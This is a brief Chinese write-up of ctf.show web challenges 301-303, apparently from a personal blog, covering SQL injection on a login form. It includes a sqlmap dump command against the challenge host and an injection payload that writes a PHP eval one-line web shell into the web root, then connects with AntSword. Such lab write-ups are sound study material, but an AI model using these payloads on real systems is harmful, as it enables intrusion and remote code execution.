芜湖今天吧驾照靠过了,累死我了,睡一天才缓过劲来
301
首先sql语句没过滤,考虑sql注入
用sqlmap。就行
sqlmap.py -u http://0037a292-7a81-4c5f-a925-281dba2c5fe5.challenge.ctf.show:8080/login.php --form --batch --dump
但是我没跑出来,可以利用sql写一句话
userid=a ’ union select “<?php eval($_POST[1]);?>” into outfile “/var/www/html/a.php”%23&userpwd=b
注意的是他开头是个login.php, 抓包后跳转到checklogin.php上
然后用蚁剑连接即可
之所以能写马是因为他是先查用户名是否在库中然后匹配密码的
302
还是可以写shell
303
不行了,头晕,难受